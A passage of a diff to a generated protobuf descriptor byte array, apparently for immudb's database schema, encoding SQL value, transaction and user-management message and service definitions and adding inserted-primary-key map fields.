0x4c, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, - 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, - 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x66, 0x18, - 0x07, 0x20, 0x01, 0x28, 0x01, 0x48, 0x00, 0x52, 0x01, 0x66, 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x22, 0x8d, 0x02, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x12, - 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, - 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, - 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, - 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, 0x61, 0x70, - 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, - 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, 0x73, 0x6e, - 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, - 0x69, 0x6f, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, - 0x43, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, - 0x56, 0x43, 0x43, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, - 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, - 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, - 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, - 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, - 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, - 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, - 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, - 0x61, 0x79, 0x22, 0x5f, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, - 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x72, 0x65, 0x74, - 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, - 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, - 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, - 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, - 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, - 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, - 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, - 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, - 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, - 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, - 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, - 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, - 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xa6, 0x35, 0x0a, 0x0b, 0x49, 0x6d, - 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, - 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, - 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, - 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x3a, 0x01, 0x2a, 0x22, 0x05, - 0x2f, 0x75, 0x73, 0x65, 0x72, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, - 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, - 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, - 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, - 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, - 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, - 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x1b, 0x3a, 0x01, 0x2a, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, - 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x6c, - 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, - 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x18, 0x3a, 0x01, 0x2a, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x73, - 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x4a, 0x0a, 0x10, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, - 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, - 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, - 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, - 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, - 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, 0x6c, 0x61, 0x73, 0x74, + 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, 0x5f, 0x0a, 0x10, 0x66, + 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, + 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, - 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, - 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, 0x66, 0x69, 0x72, 0x73, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x1a, 0x5b, 0x0a, 0x14, + 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, 0x15, 0x46, 0x69, 0x72, + 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x51, 0x75, + 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x07, 0x63, 0x6f, 0x6c, + 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x75, 0x6d, + 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, 0x0a, 0x04, 0x72, 0x6f, + 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, 0x52, 0x04, 0x72, 0x6f, + 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x12, 0x12, 0x0a, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, 0x18, 0x0a, 0x07, 0x63, + 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x63, 0x6f, + 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, + 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x06, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0xa9, 0x01, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x56, 0x61, + 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, + 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, + 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, + 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, + 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, 0x20, + 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x66, 0x18, 0x07, + 0x20, 0x01, 0x28, 0x01, 0x48, 0x00, 0x52, 0x01, 0x66, 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x22, 0x8d, 0x02, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 